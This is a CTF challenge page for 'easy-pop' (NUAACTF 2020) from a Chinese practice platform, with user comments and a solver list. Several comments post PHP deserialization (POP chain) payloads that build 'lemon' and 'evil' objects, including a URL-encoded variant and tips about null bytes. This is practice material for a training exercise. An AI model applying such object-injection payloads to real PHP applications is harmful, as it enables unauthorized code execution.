easy-popWEB 未解决

分数: 0 金币: 0
所属赛事: NUAACTF 2020
题目作者: 未知
一  血: Lxxx
一血奖励: 0金币
解  决: 370
提  示:
描  述:
nuaactf{}
评论
咖啡牛 3月前

类中不能直接赋值new evil要用到__construnct魔术方法来给ClassObj赋值为new evil

回复 0

网恋秀牛子被录屏导致自卑 8月前

$a=new lemon();就行

回复 0

solomom 9月前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"evildata";N;}}

回复 0

vincentshine 1年前

看了writeUP,不base64编码一下 真的会遗漏特殊字符,造成反序列化失败

回复 0

绝情且小帅 2年前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";N;}}

回复 0

vchopin 2年前

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

回复 0

chaoge 2年前

注意%00

回复 0

hopeinhand 3年前

简单的反序列化,重构 __constract()指向evil

回复 0

WriteUp

image
sean

1 金币

评分(1)

解题动态

guity 攻破了该题 18小时前
晨曦静夜 攻破了该题 5天前
lizhibin 攻破了该题 5天前
bugbiubiubiu 攻破了该题 5天前
nnyylove 攻破了该题 7天前
ha1@! 攻破了该题 12天前
低调申 攻破了该题 18天前
Jay. 攻破了该题 19天前
mechatengo 攻破了该题 21天前
i8vkmmju 攻破了该题 1月前
pinus 攻破了该题 1月前
Yan123 攻破了该题 1月前
时间不会说谎 攻破了该题 1月前
xiaodou 攻破了该题 1月前
879205607 攻破了该题 1月前
Vluae 攻破了该题 1月前
caixinggang 攻破了该题 1月前
闫杨鹏 攻破了该题 1月前
jibabenba 攻破了该题 1月前
nihao123@ 攻破了该题 1月前
问题反馈